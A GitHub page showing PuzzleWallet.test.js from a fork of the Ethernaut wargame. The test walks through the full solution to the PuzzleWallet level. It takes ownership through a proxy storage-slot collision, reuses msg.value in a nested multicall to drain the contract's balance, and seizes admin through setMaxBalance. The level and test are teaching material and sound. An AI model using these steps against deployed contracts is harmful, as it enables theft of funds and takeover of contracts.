forked from OpenZeppelin/ethernaut
-
Notifications
You must be signed in to change notification settings - Fork 0
/
PuzzleWallet.test.js
96 lines (81 loc) · 2.86 KB
/
PuzzleWallet.test.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
const PuzzleProxy = artifacts.require('PuzzleProxy');
const PuzzleWalletFactory = artifacts.require('PuzzleWalletFactory');
const PuzzleWallet = artifacts.require('PuzzleWallet');
const Ethernaut = artifacts.require('./Ethernaut.sol');
const utils = require('../utils/TestUtils');
const { ethers, upgrades } = require('hardhat');
contract('PuzzleWallet', function ([player]) {
let ethernaut, level;
let statproxy;
beforeEach(async function () {
ethernaut = await utils.getEthernautWithStatsProxy();
level = await PuzzleWalletFactory.new();
await ethernaut.registerLevel(level.address);
});
it('should allow the player to solve the level', async function () {
const instance = await utils.createLevelInstance(
ethernaut,
level.address,
player,
PuzzleWallet,
{ from: player, value: web3.utils.toWei('0.001', 'ether') }
);
// checks that the initial owner address is the puzzle wallet factory contract
assert.equal(
level.address,
await instance.owner(),
'PuzzleFactory is not the owner'
);
assert.equal(
web3.utils.toWei('0.001', 'ether'),
(await instance.balances(level.address)).toString()
);
const proxy = await PuzzleProxy.at(instance.address);
// overwrites the owner address by setting the pendingAdmin
await proxy.proposeNewAdmin(player);
// checks that the player has placed their address in the owner slot
assert.equal(player, await instance.owner(), 'Player is not the owner');
// checks that player is not whitelisted yet
assert.isFalse(
await instance.whitelisted(player),
'Player is not whitelisted'
);
// player whitelists herself
await instance.addToWhitelist(player, { from: player });
const { data: depositData } = await instance.deposit.request();
const { data: nestedMulticallData } = await instance.multicall.request([
depositData,
]);
const { data: executeData } = await instance.execute.request(
player,
web3.utils.toWei('0.002', 'ether'),
[]
);
const calls = [depositData, nestedMulticallData, executeData];
await instance.multicall(calls, {
from: player,
value: web3.utils.toWei('0.001', 'ether'),
});
// checks that balance in the contract is 0
assert.equal(
await web3.eth.getBalance(instance.address),
0,
'Contract balance is not 0'
);
// updates the maxBalance to take over adminship
await instance.setMaxBalance(player, { from: player });
assert.equal(
await proxy.admin(),
player,
'Admin address is not player address'
);
// check that the level was completed successfully
const ethCompleted = await utils.submitLevelInstance(
ethernaut,
level.address,
instance.address,
player
);
assert.equal(ethCompleted, true, 'Level not completed');
});
});